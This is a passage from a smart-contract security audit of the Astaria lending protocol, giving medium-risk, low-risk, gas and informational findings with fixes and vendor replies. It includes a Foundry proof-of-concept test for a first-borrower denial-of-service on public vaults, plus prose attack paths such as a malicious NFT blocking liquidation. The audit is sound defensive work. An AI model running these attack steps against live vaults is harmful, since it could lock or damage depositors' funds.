Recommendation: Make sure `auctionWindow` cannot be set to `0` by anyone. Also, it might be best to define a hard coded lower bound and make sure `auctionWindow` cannot be set lower than that value.

5.3.13 A malicious collateralized NFT token can block liquidation and also epoch processing for public vaults

Severity: Medium Risk

Context:

- CollateralToken.sol#L523-L526
- PublicVault.sol#L353-L357

Description: When a lien gets liquidated, the `CollateralToken` tries to create a `Seaport` auction for the underlying token. One of the steps in this process is to give approval for the token id to the `CollateralToken`'s conduit

```
ERC721(orderParameters.offer[0].token).approve(
  s.CONDUIT,
  orderParameters.offer[0].identifierOrCriteria
);
```

A malicious/compromised `ERC721(orderParameters.offer[0].token)` can take advantage of this step and revert the `approve(...)`. There are few consequences for this with the last being the most important one

1. One would not be able to liquidate the expired lien.
2. Because of 1. the epoch processing for a corresponding public vault will be halted, since one can only process the current epoch if all of its open liens are paid for or liquidated:

```
if (s.epochData[s.currentEpoch].liensOpenForEpoch > 0) {
  revert InvalidVaultState(
    InvalidVaultStates.LIENS_OPEN_FOR_EPOCH_NOT_ZERO
  );
}
```

1. The strategist or the public vault owner/delegate needs to make sure to only sign roots of the trees with the leaves such that their corresponding `ERC721` tokens have been thoroughly checked to make sure they would not be able to revert the `approve` call.
2. Or, one can move the approval to the conduit step to when a lien is committed to / opened. This way if the call reverts a lien is not created so that the epoch processing for the public vault would not be able to be halted. This come some risks since the conduit would hold the token approval for a longer period compared to the current implementation where it only has the approval during the liquidation phase.

5.4 Low Risk

5.4.1 An owner might not be able to cancel all signed liens by calling `incrementNonce()`

Severity: Low Risk

Context:

- VaultImplementation.sol#L87-L94

Description: If the vault owner or the delegate is phished into signing terms with consecutive nonces in a big range, they would not be able to cancel all those terms with the current `incrementNonce()` implementation as this value is only incrementing the nonce one at a time.

As an example `Seaport` increments their counters using the following formula

```
n += blockhash(block.number - 1) << 0x80;
```

Recommendation: It might be best to implement a similar nonce update like `Seaport` to avoid this issue.

Astaria: Recommendation applied in PR 314.

Spearbit: Fixed.

5.4.2 Borrower can borrow more than `totalAssets` from `PublicVault`

Severity: Low Risk

Context: PublicVault.sol#L468-L495

Description: Presently, the `PublicVault` contract lacks a mechanism to keep track of the total borrow amount within the contract. As a result, it does not trigger a revert when the borrowed amount exceeds the available `totalAssets`. This creates a peculiar edge case where a user can transfer tokens to the `PublicVault` and proceed to borrow an amount greater than the `totalAssets`. Consequently, the `PublicVault` enters an "overborrowed loan" scenario.

For instance, assuming the total asset of a `PublicVault` is 100 ETH, a user can transfer 200 ETH into the `PublicVault` and then take out a 200 ETH loan. This "donated loan" has several implications:

- It increases the yield of all vault LP participants.
- It serves as a buffer for the Vault when LP participants redeem their shares.

However, this donated loan also poses challenges for the LP:

- LP has no means to redeem the donated LP as it does not alter the total assets.
- In the event the donated loan is liquidated, the vault LP participants will bear the liability. Assuming the donated loan is liquidated with a 50 ETH deficit; the Vault will get cut 50 ETH.

The absence of proper validation and handling of such donated loans may lead to unfair situations and unintended consequences, affecting both the protocol's health and the interests of LP participants.

Malicious actor can potentially DOS the vault as a first borrower.

The borrower can borrow a loan when totalAssets is equal to 0. The first borrower can do the following things to DOS the vault. Assume a `publicVault` that charges protocol fee.

1. Transfer a small WETH balance to the `publicVault`.
2. Borrow a dust amount from the `publicVault`.
3. Borrow a small WETH balance.
4. Repay the dust loan. The protocol fee being charged is very small. `publicVault._handleStrategistInterestReward(...)` mints vault share to the owner. The `publicVault.totalSupply` becomes very small while the interests of the second loan keep accruing. The vault price($\frac{totalAssets}{totalSupply}$) becomes large.
5. The following depositor would not be able to deposit.

The attack described in the paragraph does not lead to a profitable attack nor does it pose threats to real users. However, it does show that borrowing amounts that are larger than `totalAssets` can lead to weird states that haven't been well studied. This is a potential issue that should be investigated further if we allow borrowing when `totalAssets` is equal to 0.

```
forge test --mt testBypassMinDeposit --ffi
```

```
function testFirstBorrowerAttack() public {
  TestNFT nft = new TestNFT(3);
  address tokenContract = address(nft);
  uint256 tokenId = uint256(1);
  uint256 tokenId2 = uint256(2);


  // @audit: create a public vault that charges vaultFee
  address payable publicVault = _createPublicVault({
    strategist: strategistOne,
    delegate: strategistTwo,
    epochLength: 14 days,
    vaultFee: 10e17
  });
```

```
  // Donated a fraction of assets into the vault
  WETH9.deposit{value: 1 ether}();
  WETH9.transfer(publicVault, 1 ether);

  (, ILienToken.Stack memory stack) = _commitToLien({
    vault: payable(publicVault),
    strategist: strategistOne,
    strategistPK: strategistOnePK,
    tokenContract: tokenContract,
    tokenId: tokenId,
    lienDetails: standardLienDetails,
    amount: 1000000
  });
  ILienToken.Details memory lienDetails = standardLienDetails;
  lienDetails.maxAmount = 100 ether;
  (, ILienToken.Stack memory stack2) = _commitToLien({
    vault: payable(publicVault),
    strategist: strategistOne,
    strategistPK: strategistOnePK,
    tokenContract: tokenContract,
    tokenId: tokenId2,
    lienDetails: lienDetails,
    amount: 1 ether - 1000000
  });
  vm.warp(block.timestamp + 30);

  REPAYMENT_HELPER.makePayment{value: 2000000 ether}(stack);

  assertEq(PublicVault(publicVault).totalSupply(), 1); // totalSupply == 1.
  vm.warp(block.timestamp + 1 days);

  // totalAsset accrues while the total supply is 1 wei

  WETH9.deposit{value: 100 ether}();
  WETH9.approve(address(TRANSFER_PROXY), 100 ether);
  vm.expectRevert("VALUE_TOO_SMALL");

  ASTARIA_ROUTER.depositToVault(
    PublicVault(payable(publicVault)),
    address(msg.sender),
    100 ether,
    0
  );
}
```

5.4.3 Error handling for USDT transactions in `TransferProxy`

Severity: Low Risk

Context: TransferProxy.sol#L74C1-L85

Description: To handle edge cases where the receiver is blacklisted, TransferProxy.tokenTransferFromWithErrorReceiver(...) is designed to catch errors that may occur during the first transfer attempt and then proceed to send the tokens to the error receiver.

```
try ERC20(token).transferFrom(from, to, amount) {} catch {
    _transferToErrorReceiver(token, from, to, amount);
  }
```

However, it's worth noting that this approach may not be compatible with non-standard ERC20 tokens (e.g., USDT) that do not return any value after a `transferFrom` operation. The try-catch pattern in Solidity can only catch errors resulting from reverted external contract calls, but it does not handle errors caused by inconsistent return values. Consequently, when using USDT, the entire transaction will revert.

Recommendation: We can make a slight modification to the `safeTransferLib` to handle reverts from external contract calls while remaining compatible with USDT.

```
  function trySafeTransferFrom(
      ERC20 token,
      address from,
      address to,
      uint256 amount
  ) internal returns(bool success){

      assembly {
          // Get a pointer to some free memory.
          let freeMemoryPointer := mload(0x40)

          // Write the abi-encoded calldata into memory, beginning with the function selector.
          mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
          mstore(add(freeMemoryPointer, 4), from) // Append the "from" argument.
          mstore(add(freeMemoryPointer, 36), to) // Append the "to" argument.
          mstore(add(freeMemoryPointer, 68), amount) // Append the "amount" argument.

          success := and(
              // Set success to whether the call reverted, if not we check it either
              // returned exactly 1 (can't just be non-zero data), or had no return data.
              or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())),
              // We use 100 because the length of our calldata totals up like so: 4 + 32 * 3.
              // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space.
              // Counterintuitively, this call must be positioned second to the or() call in the
              // surrounding and() call or else returndatasize() will be zero during the computation.
              call(gas(), token, 0, freeMemoryPointer, 100, 0, 32)
          )
      }

      // Do not revert the transaction when it fails. Return the state instead.
      // require(success, "TRANSFER_FROM_FAILED");

  }


function tokenTransferFromWithErrorReceiver(
  address token,
  address from,
  address to,
  uint256 amount
) external requiresAuth {
```

```
  if (!trySafeTransferFrom(token, from, to, amount)) {
    _transferToErrorReceiver(token, from, to, amount);
  }
}
```

Please note that this approach may reduce the codebase's readability. Consider whether you want to support edge cases where the receiver is blacklisted.

Astaria: Fixed in PR 339.

Spearbit: Verified.

5.4.4 `PublicVault` does not handle funds in `errorReceiver`

Severity: Low Risk

Context: LienToken.sol#L392-L430

Description: During loan repayment in the function LienToken.MakePayment(...), the process involves LienToken attempting to pull tokens from the user using `transferProxy.TRANSFER_PROXY.tokenTransferFromWithErrorReceiver`.

The implementation in the `TransferProxy` contract involves sending the tokens to an error receiver that is controlled by the original receiver. However, this approach can lead to accounting errors in the `PublicVault` as `PublicVault` does not pull tokens from the error receiver.

```
function tokenTransferFromWithErrorReceiver(
// ...
) {
    try ERC20(token).transferFrom(from, to, amount) {} catch {
      _transferToErrorReceiver(token, from, to, amount);
    }
}
```

Note that, in practice, tokens would *not* be transferred to the error receiver. The issue is hence considered to be a low-risk issue.

Recommendation: Use `TRANSFER_PROXY.tokenTransferFrom` instead of `transferProxy.TRANSFER_PROXY.tokenTransferFromWithErrorReceiver`.

5.4.5 Inconsistent Vault Fee Charging during Loan Liquidation via WithdrawProxy

Severity: Low Risk

Context: WithdrawProxy.sol#L288-L337, PublicVault.sol#L553-L569

Description: In the smart contract code of `PublicVault`, there is an inconsistency related to the charging of fees when a loan is liquidated at epoch's roll and the lien is sent to `WithdrawProxy`. The `PublicVault.owner` is supposed to take a ratio of the interest paid as the strategist's reward, and the fee should be charged when a payment is made in the function PublicVault.updateVault(...), regardless of whether it's a normal payment or a liquidation payment.

It appears that the fee is not being charged when a loan is liquidated at epoch's roll and the lien is sent to `WithdrawProxy`. This discrepancy could potentially lead to an inconsistent distribution of fees and rewards.

Recommendation: Handle strategist reward fee in `WithdrawProxy.claim(...)`.

Astaria: Acknowledged.

Spearbit: Acknowledged.

5.4.6 `VaultImplementation.init(...)` silently initialised when the allowlist parameters are not throughly validated

Severity: Low Risk

Context:

- VaultImplementation.sol#L183-L192

Description: In `VaultImplementation.init(...)`, if `params.allowListEnabled` is `false` but `params.allowList` is not empty, `s.allowList` does not get populated.

Recommendation: It might be best to check the above scenario and in the case it is detected to revert the transaction.

5.4.7 Several functions in `AstariaRouter` can be made non-payable

Severity: Low Risk

Context: AstariaRouter.sol#L118-L173, AstariaRouter.sol#L202

Description: Following functions in `AstariaRouter` are `payable` when they should never be sent the native token: `mint()`, `deposit()`, `withdraw()`, `redeem()`, `pullToken()`

Recommendation: Remove the `payable` keyword for the highlighted functions.

5.4.8 Loan duration can be reduced at the time of borrowing without user permission

Severity: Low Risk

Context: AstariaRouter.sol#L889

Description: Requested loan duration, if greater than the maximum allowed duration (the time to next epoch's end), is set to this maximum value:

```
if (timeToSecondEpochEnd < lien.details.duration) {
  lien.details.duration = timeToSecondEpochEnd;
}
```

This happens without explicit user permission.

Recommendation: Consider reverting in this case to avoid any surprises for the borrower. If no changes are made, this behavior should be documented for awareness.

5.4.9 Native tokens sent to `DepositHelper` can get locked

Severity: Low Risk

Context:

- DepositHelper.sol#L43-L45

Description: `DepositHelper` has the following two endpoints:

```
fallback() external payable {}

receive() external payable {}
```

If one calls this contract by not supplying the `deposit(...)` function signature, the `msg.value` provided would get locked in this contract.

Recommendation: If there isn't a plan to update this contract to use its own balance, it would be great to remove these endpoints:

```
- fallback() external payable {}

- receive() external payable {}
```

Astaria: Fixed in PR 334.

Spearbit: Fixed.

5.4.10 Updated `...EpochLength` values are not validated

Severity: Low Risk

Context:

- AstariaRouter.sol#L319-L322

Description: Sanity check is missing for updated `s.minEpochLength` and `s.maxEpochLength`. Need to make sure

```
s.minEpochLength  <= s.maxEpochLength
```

Recommendation: Make sure the updated values still hold the above invariant.

Astaria: Fixed in PR 345.

Spearbit: Fixed.

5.4.11 `CollateralToken`'s conduit would have an open channel to an old `Seaport` when `Seaport` is updated

Severity: Low Risk

Context:

- CollateralToken.sol#L343-L365

Description: After filing for a new `Seaport` the old `Seaport` would still have an open channel to it from the `CollateralToken`'s conduit (assuming the old and new `Seaport` share the same conduit controller).

Recommendation: It might be best to close the channel to the old `Seaport` in the same filing call.

5.4.12 `CollateralToken`'s `tokenURI` uses the underlying assets's `tokenURI`

Severity: Low Risk

Context:

- CollateralToken.sol#L437-L447

Description: Since the `CollateralToken` positions can be sold on secondary markets like `OpenSea`, the `tokenURI` endpoint should be customised to avoid misleading users and it should contain information relating to the `CollateralToken` and not just its underlying asset. It would also be great to pull information from its associated lien to include here.

- What-is-OpenSea-s-copymint-policy.
- docs.opensea.io/docs/metadata-standards.
- `Necromint` got banned on OpenSea.

Recommendation: Define/design a customised `tokenURI` for `CollateralToken`.

Astaria: OpenSea has approved previous versions though we are planning to introduce a customized image. Fixed in PR 340 by introducing web2 endpoints for these queries.

Spearbit: Fixed.

5.4.13 Filing to update one of the main contract for another main contract lacks validation

Severity: Low Risk

Context:

- AstariaRouter.sol#L402-L409
- CollateralToken.sol#L330-L332
- LienToken.sol#L87-L90

Description: The main contracts `AstariaRouter`, `CollateralToken`, and `LienToken` all need to be aware of each other and form a connected triangle. They are all part of a single unit and perhaps are separated into 3 different contract due to code size and needing to have two individual `ERC721` tokens. Their authorised filing structure is as follows:

- Note that one cannot `file` for `CollateralToken` to change `LienToken` as the value of `LienToken` is only set during the `CollateralToken`'s initialisation.

If one files to change one of these nodes and forget to check or update the links between these contract, the triangle above would be broken.

Recommendation: To ensure the connectivity of the above triangle:

1. Each contract/node has two storage variables for the other 2 nodes
2. Each node should have an authorised endpoint to file update for the other 2 nodes.
3. Once a link has been established between 2 nodes the changes should be propagated to the 3rd node to ensure connectivity.

One can also have a different design where there is an external contract that manages the nodes and their links:

to swap one of these nodes we would

1. Each contract/node has two storage variables for the other 2 nodes
2. Each node has a restricted `fileNode` endpoint which accepts one or two arguments (depends on the design) for the changed/swapped nodes and only the `NodeManager` can call which should update the internal storage of the called node pointing to the other nodes.
3. `NodeManager` should have an authorised endpoint that can be called to swap one or more of the nodes which the `NodeManager` would need to propagate the changes to all the nodes. The new node would need to set its `NodeManager` upon initialisation or construction.

If the above changes are not applied, we need to monitor that the triangle is intact when a node is swapped.

5.4.14 `TRANSFER_PROXY` is not queried in a consistent fashion.

Severity: Low Risk

Context:

- CollateralToken.sol#L167
- LienToken.sol#L419
- AstariaRouter.sol#L204
- Deploy.sol#L84

Description: Different usages of `TRANSFER_PROXY` and how it is queried

- `AstariaRouter`: Used in `pullToken(...)` to move tokens from the `msg.sender` to a another address.
- `CollateralToken`: Used in `validateOrder(...)` where `Seaport` has callbacked into. Here `CollateralToken` gives approval to `TRANSFER_PROXY` which is queried from `AstariaRouter` for the settlement tokens. `TRANSFER_PROXY` is also used to transfer tokens.

- `LienToken`: In `_payment(...)` `TRANSFER_PROXY` is used to transfer tokens from `CollateralToken` to the lien owner. This implies that the `TRANSFER_PROXY` used in `CollateralToken` should be the same that is used in `LienToken`.

Therefore, from the above we see that:

1. `TRANSFER_PROXY` holds tokens approvals for `ERC20` or `wETH` tokens used as lien tokens.
2. `TRANSFER_PROXY`'s address should be the same at all call sites for the different contract `AstariaRouter`, `CollateralToken` and `LienToken`.
3. Except `CollateralToken` which queries `TRANSFER_PROXY` from `AstariaRouter`, the other two contract `AstariaRouter` and `LienToken` read this value from their storage.

Note that the deployment script sets assigns the same `TRANSFER_PROXY` to all the 3 main contracts in the codebase `AstariaRouter`, `CollateralToken`, and `LienToken`.

Recommendation: To guarantee that `TRANSFER_PROXY` is the same for all the 3 contract we can redesign the codebase as follows

1. Only we can call one contract (maybe `AstariaRouter`) to file an update for `TRANSFER_PROXY`. Upon filing this update, we would call the other two contracts to update their corresponding `TRANSFER_PROXY` value in storage so that this value would be in sync. This would save gas well, since when we would like to query this value we would read it from the current contract in scope compared to reading it from another contract's storage.
2. Only query the `TRANSFER_PROXY` from the current contract's storage.

Astaria: `TransferProxy` is now queried from the `AstariaRouter`:

- PR 342
- PR 342

The applied solution bears the cost of querying the transfer proxy on the users as opposed to the suggestion from the above recommendation.

Spearbit: Fixed.

5.4.15 `Multicall` when inherited to `ERC4626RouterBase` does not bubble up the reverts correctly

Severity: Low Risk

Context:

- Multicall.sol#L22-L29

Description: `Multicall` does not bubble up the reverts correctly. The current implementation uses the following snippet to bubble up the reverts

```
// https://github.com/AstariaXYZ/astaria-gpl/blob/.../src/Multicall.sol

pragma solidity >=0.7.6;

if (!success) {
  // Next 5 lines from https://ethereum.stackexchange.com/a/83577
  if (result.length < 68) revert();
  assembly {
    result := add(result, 0x04)
  }
  revert(abi.decode(result, (string)));
}
```

```
// https://github.com/AstariaXYZ/astaria-gpl/blob/.../src/ERC4626RouterBase.sol
pragma solidity ^0.8.17;

...
abstract contract ERC4626RouterBase is IERC4626RouterBase, Multicall { ... }
```

This method of bubbling up does not work with new types of errors:

- `Panic(uint256)` `0.8.0` (2020-12-16)
- Custom errors introduced in `0.8.4` (2021-04-21)
- ...

Recommendation: To bubble up the reverts correctly we can revert like the following but requires updating the `Multicall`'s to `pragma solidity >=0.8.13` (due to using `"memory-safe"`)

```
assembly ("memory-safe") {
   if iszero(success) {
      revert(add(result, 32), mload(result))
   }
}
```

5.5 Gas Optimization

5.5.1 Cache `VAULT().ROUTER().LIEN_TOKEN()`

Severity: Gas Optimization

Context: WithdrawProxy.sol#L394-L399

Description: In `WithdrawProxy.onERC721Received()`, `VAULT().ROUTER().LIEN_TOKEN()` is read twice which leads to extra external calls.

Recommendation: Store `VAULT().ROUTER().LIEN_TOKEN()` in a variable.

5.5.2 Define named constants for the `keccak256` values used in `computeDomainSeparator()`

Severity: Gas Optimization

Context:

- ERC20-Cloned.sol#L162-L165

Description/Recommendation: `computeDomainSeparator()` returns:

```
keccak256(
  abi.encode(
    keccak256(
      "EIP712Domain(string version,uint256 chainId,address verifyingContract)"
    ),
    keccak256("1"),
    block.chainid,
    address(this)
  )
);
```

`keccak256("1")` and `keccak256("EIP712Domain(string version,uint256 chainId,address verifyingContract)")` can be made into a named contract-level constants.

5.5.3 `s.liquidationWithdrawRatio` can be turned into a stack variable or be cached during its usage

Severity: Gas Optimization

Context:

- PublicVault.sol#L360-L383

Description/Recommendation: `s.liquidationWithdrawRatio` is only used in this context and only in the `processEpoch()` function (besides the getter methods). If querying this value is not needed it can be turned into a local stack variable.

Even if it is desired to query this parameter. It would be best to save it to the storage at the very end to avoid writing to and reading from storage multiple times.

5.5.4 `s.currentEpoch` can be cached in `processEpoch()`

Severity: Gas Optimization

Context:

- PublicVault.sol#L336-L357
- PublicVault.sol#L393

Description: `s.currentEpoch` is being read from the storage multiple times in the `processEpoch()`.

Recommendation: To save gas on reading from storage, `s.currentEpoch` can be cached in `processEpoch()`.

5.5.5 Use basis points for ratios

Severity: Gas Optimization

Context: IAstariaRouter.sol#L58, IAstariaRouter.sol#L62

Description: Fee ratios are represented through two state variables for numerator and denominator. Basis point system can be used in its place as it is simpler (denominator always set to 10_000), and gas efficient as denominator is now a constant.

Recommendation: Use basis point system to represent ratios. Remove denominator state variables and use `10_000` as a constant variable in its place.

5.5.6 `liquidatorNFTClaim()`'s arguments can be made `calldata`

Severity: Gas Optimization

Context: CollateralToken.sol#L244-L245

Description: The following arguments can be converted to `calldata` to save gas on copying them to memory:

```
function liquidatorNFTClaim(
  ILienToken.Stack memory stack,
  OrderParameters memory params,
  uint256 counterAtLiquidation
) external whenNotPaused {
```

Recommendation: Update the `memory` arguments to `calldata`.

5.5.7 `a.mulDivDown(b,1)` is equivalent to `a*b`

Severity: Gas Optimization

Context: PublicVault.sol#L535

Description: Highlighted code below the pattern of `a.mulDivDown(b, 1)` which is equivalent to `a*b` except the revert parameters in case of an overflow

```
return uint256(s.slope).mulDivDown(delta_t, 1) + uint256(s.yIntercept);
```

Recommendation: Update the code to

```
return uint256(s.slope)*delta_t + uint256(s.yIntercept);
```

5.5.8 try/catch can be removed for simplicity

Severity: Gas Optimization

Context: RepaymentHelper.sol#L33-L44

Description: The following code catches a revert in the external call `WETH.deposit{value: owning}()` and then reverts itself in the `catch` clause

```
try WETH.deposit{value: owing}() {
  WETH.approve(transferProxy, owing);
  // make payment
  lienToken.makePayment(stack);
  // check balance
  if (address(this).balance > 0) {
    // withdraw
    payable(msg.sender).transfer(address(this).balance);
  }
} catch {
  revert();
}
```

This effect can also be achieved without using `try/catch` which simplifies the code too.

Recommendation: Update the highlighted code as

```
- try WETH.deposit{value: owing}() {
+ WETH.deposit{value: owing}();
  WETH.approve(transferProxy, owing);
  // make payment
  lienToken.makePayment(stack);
  // check balance
  if (address(this).balance > 0) {
    // withdraw
    payable(msg.sender).transfer(address(this).balance);
  }
- } catch {
-  revert();
- }
```

5.5.9 Cache `s.idToUnderlying[collateralId].auctionHash`

Severity: Gas Optimization

Context:

- CollateralToken.sol#L257-L266

Description: In `liquidatorNFTClaim(...)`, `s.idToUnderlying[collateralId].auctionHash` is read twice from the storage.

Recommendation: It would be great to cache `s.idToUnderlying[collateralId].auctionHash` to avoid reading it from storage multiple times.

5.5.10 Cache `keccak256(abi.encode(stack))`

Severity: Gas Optimization

Context:

- LienToken.sol#L150-L153
- LienToken.sol#L169
- LienToken.sol#L300
- LienToken.sol#L334

Description: In `LienToken._handleLiquidation(...)` `lienId` is calculated as

```
uint256 lienId = uint256(keccak256(abi.encode(stack)));
```

Note that `_handleLiquidation(...)` is called by `handleLiquidation(...)` which has a modifier `validateCollateralState(...)`:

```
validateCollateralState(
      stack.lien.collateralId,
      keccak256(abi.encode(stack))
)
```

And thus `keccak256(abi.encode(stack))` is performed twice. The same multiple hashing calculation also happens in `makePayment(...)` flow.

Recommendation: It would be best to cache the `keccak256(abi.encode(stack))` value for the above flows/endpoints. One way to achieve this is turn the `validateCollateralState(...)` into an internal function hook:

```
function _validateCollateralState(LienStorage storage s, uint256 collateralId, bytes32 incomingHash)
↪  internal {
  if (incomingHash != s.collateralStateHash[collateralId]) {
    revert InvalidLienState(InvalidLienStates.INVALID_HASH);
  }
}
```

and at the call sites we could have:

```
bytes32 h = keccak256(abi.encode(stack));
uint256 cid = stack.lien.collateralId;
_validateCollateralState(s, cid, h);
// h and cid can be reused
```

5.6 Informational

5.6.1 Functions can be made `view` or `pure`

Severity: Informational

Context: AstariaRouter.sol#L565, CollateralToken.sol#L213

Description: Several functions can be `view` or `pure`. Compiler also warns about these functions. For instance, `_validateRequest()` can be made `view`. `getSeaportMetadata()` can be made `pure` instead of `view`.

Recommendation: Consider going through compiler warning and add `view` or `pure` keywords to those functions.

5.6.2 Fix compiler generated warnings for unused arguments

Severity: Informational

Context: src, WithdrawProxy.sol#L173-L181

Description: Several functions have arguments which are not used and compiler generates a warning for each instance, cluttering the output. This makes it easy to miss useful warnings. Here is one example of a function with unused arguments:

```
function deposit(
    uint256 assets,
    address receiver
)
  public
  virtual
  override(ERC4626Cloned, IERC4626)
  onlyVault
  returns (uint256 shares)
{
  revert NotSupported();
}
```

Recommendation: Consider commenting each argument highlighted by compiler warning as follows:

```
function deposit(
  uint256 /* assets */,
  address /* receiver */
)
  public
  virtual
  override(ERC4626Cloned, IERC4626)
  onlyVault
  returns (uint256 /*shares*/)
{
  revert NotSupported();
}
```

5.6.3 Non-lien NFT tokens can get locked in the vaults

Severity: Informational

Context:

- PublicVault.sol#L494
- Vault.sol#L60

Description: Both public and private vault when their `onERC721Received(...)` is called they return the `IERC721Receiver.onERC721Received.selector` and perform extra logic if the `msg.sender` is the `LienToken` and the operator is the `AstariaRouter`. This means other NFT tokens (other than lien tokens) received by a vault will be locked.

Recommendation: It would be best to only return `IERC721Receiver.onERC721Received.selector` if:

```
operator == address(ROUTER()) &&
msg.sender == address(ROUTER().LIEN_TOKEN())
```

and revert otherwise.

5.6.4 Define `currentWithdrawProxy` closer to where it is used

Severity: Informational

Context:

- PublicVault.sol#L336

Description/Recommendation: Make sure `currentWithdrawProxy` is defined closer to its first usage line.

```
// check if there are LPs withdrawing this epoch
WithdrawProxy currentWithdrawProxy = WithdrawProxy(
  s.epochData[s.currentEpoch].withdrawProxy
);
if ((address(currentWithdrawProxy) != address(0))) {
```

5.6.5 Validation checks should be performed at the beginning of `processEpoch()`

Severity: Informational

Context:

- PublicVault.sol#L353-L357

Description: The following validation check for the data corresponding to the current epoch happens in the middle of `processEpoch()` where there have already been some accounting done:

```
if (s.epochData[s.currentEpoch].liensOpenForEpoch > 0) {
  revert InvalidVaultState(
    InvalidVaultStates.LIENS_OPEN_FOR_EPOCH_NOT_ZERO
  );
}
```

Recommendation: It would be best to perform this validation at the begging of the call to `processEpoch()`. This would make the flow of this endpoint more organised and also it would save gas in the case that this condition would cause a revert:

```
function processEpoch() public {
  // check to make sure epoch is over
  if (timeToEpochEnd() > 0) {
    revert InvalidVaultState(InvalidVaultStates.EPOCH_NOT_OVER);
  }

  VaultData storage s = _loadStorageSlot();

  if (s.withdrawReserve > 0) {
    revert InvalidVaultState(InvalidVaultStates.WITHDRAW_RESERVE_NOT_ZERO);
  }

  if (s.epochData[s.currentEpoch].liensOpenForEpoch > 0) {
    revert InvalidVaultState(
      InvalidVaultStates.LIENS_OPEN_FOR_EPOCH_NOT_ZERO
    );
  }

  // the rest
  ...
}
```

5.6.6 Define and `onlyOwner` modifier for `VaultImplementation`

Severity: Informational

Context:

- VaultImplementation.sol#L101
- VaultImplementation.sol#L119
- VaultImplementation.sol#L128
- VaultImplementation.sol#L137
- VaultImplementation.sol#L158
- VaultImplementation.sol#L196

Description: The following `require` statement has been used multiple times

```
require(msg.sender == owner());
```

Recommendation: It would be best to define a modifier or an internal function hook to refactor this requirement.

5.6.7 `Vault` is missing an interface

Severity: Informational

Context:

- Vault.sol#L27

Description: `Vault` is missing an interface

Recommendation: It would be best to add an interface `IVault` for `Vault` to document its endpoints and expected behaviour.

5.6.8 `RepaymentHelper.makePayment(...)` `transfer` is used

Severity: Informational

Context:

- RepaymentHelper.sol#L40

Description: In `RepaymentHelper.makePayment(...)` the `transfer` function is used to return extra native tokens sent to this contract. The use of `transfer` which restrict the amount of gas shared with the `msg.sender` is not required, since there are no actions after this call site, it is safe to call the `msg.sender` directly to transfer these funds.

Recommendation: Use `call` instead of `transfer` to send back the extra native tokens:

```
payable(msg.sender).call{value: address(this).balance}();
```

5.6.9 Consider importing Uniswap libraries directly

Severity: Informational

Context: FullMathUniswap.sol, LiquidityAmounts.sol, TickMath.sol

Description: `astaria-gpl` copies the libraries highlighted above which were written originally in Solidity v0.7 and refactors them to v0.8. Uniswap has also provided these contracts for Solidity v0.8 in branches named `0.8`. See `v3-core@0.8` and `v3-periphery@0.8`.

Using these files directly reduces the amount of code owned by Astaria.

Recommendation: Consider replacing the following libraries:

- FullMathUniswap.sol with Uniswap's FullMath.sol.
- LiquidityAmounts.sol with Uniswap's LiquidityAmounts.sol
- TickMath.sol with Uniswap's TickMath.sol

5.6.10 Elements' orders are not consistent in solidity files

Severity: Informational

Context: General

Description: Elements' orders are not consistent in solidity files

Recommendation: Consider adding the ordering rule to `.solhint.json` and resolving the order related warnings:

```
{
  "extends": "solhint:recommended",
  "rules": {
    "compiler-version": ["error", "=0.8.17"],
    "func-visibility": ["warn", { "ignoreConstructors": true }],
    "avoid-suicide": "error",
    "ordering": "warn"
  }
}
```

5.6.11 `FileType` definitions are not consistent

Severity: Informational

Context:

- IAstariaRouter.sol#L29
- ICollateralToken.sol#L71
- ILienToken.sol#L23

Description: Both `ICollateralToken.FileType` and `ILienToken.FileType` start their enums with `NotSupported`. The definition of `FileType` in `IAstariaRouter` is not consistent with that pattern. This might be due to having `0` as a `NotSupported` so that the `file` endpoints would revert.

Recommendation: Consider having the same pattern for all the 3 enums in this context.

5.6.12 `VIData.allowlist` can transfer shares to entities not on the `allowlist`

Severity: Informational

Context:

- IVaultImplementation.sol#L45

Description: `allowList` is only used to restrict the share recipients upon `mint` or `deposit` to a vault if `allowListEnabled` is set to `true`.

These shareholders can later transfer their share to other users who might not be on the `allowList`.

Recommendation: The above should be documented/commented.

5.6.13 Extract common struct fields from `IStrategyValidator` implementations

Severity: Informational

Context:

- CollectionValidator.sol#L23-L28
- UNI_V3Validator.sol#L29-L42
- UniqueValidator.sol#L23-L29
- IAstariaRouter.sol#L108

Description: All the `IStrategyValidator` implementations have the following data encoded in the `NewLienRequest.nlrDetails`

```
struct CommonData {
   uint8 version;
   address token; // LP token for Uni_V3...
   address borrower;
   ILienToken.Details lienDetails;
   bytes moreData; // depends on each implementation
}
```

Recommendation: It might be best to define the `struct` for this common piece. Also note I've reorder the fields in the decoded data to show the unity between all the implementations.

The above struct fields can be extracted out of `nlrDetails` and added as new fields to `NewLienRequest`

For the `version` field we can start using the `StrategyDetailsParam.version` again instead.

5.6.14 `_createLien()` takes in an extra argument

Severity: Informational

Context: LienToken.sol#L231

Description: `_createLien(LienStorage storage s, ...)` doesn't use `s` and hence can be removed as an argument.

Recommendation: Remove `s` as an argument from `_createLien()`.

5.6.15 `unchecked` has no effect

Severity: Informational

Context: PublicVault.sol#L509-L512

Description: `unchecked` only affects the arithmetic operations directly nested under it. In this case `unchecked` is unnecessary:

```
unchecked {
  s.yIntercept = (_totalAssets(s));
  s.last = block.timestamp.safeCastTo40();
}
```

Recommendation: Remove `unchecked`.

5.6.16 Multicall can reuse `msg.value`

Severity: Informational

Context: Multicall.sol#L20

Description: A `delegatecall` forwards the same value for `msg.value` as found in the current context. Hence, all `delegatecall`s in a loop use the same value for `msg.value`. In the case of these calls using `msg.value`, it has the ability to use the native token balance of the contract itself

```
for (uint256 i = 0; i < data.length; i++) {
    (bool success, bytes memory result) = address(this).delegatecall(data[i]);
    ...
}
```

Recommendation: In Astaria's case, native token is never sent to protocol hence, the current usage of Multicall is safe. However, care needs to be taken if this changes in the future.

5.6.17 Authorised entities can drain user assets

Severity: Informational

Context:

- TransferProxy.sol#L66-L84

Description: An authorized entity can steal user approved tokens (vault assets and vault tokens, ...) using these endpoints

```
function tokenTransferFrom(
  address token,
  address from,
  address to,
  uint256 amount
) external requiresAuth {
  ERC20(token).safeTransferFrom(from, to, amount);
}

function tokenTransferFromWithErrorReceiver(
  address token,
  address from,
  address to,
  uint256 amount
) external requiresAuth {
  try ERC20(token).transferFrom(from, to, amount) {} catch {
    _transferToErrorReceiver(token, from, to, amount);
  }
}
```

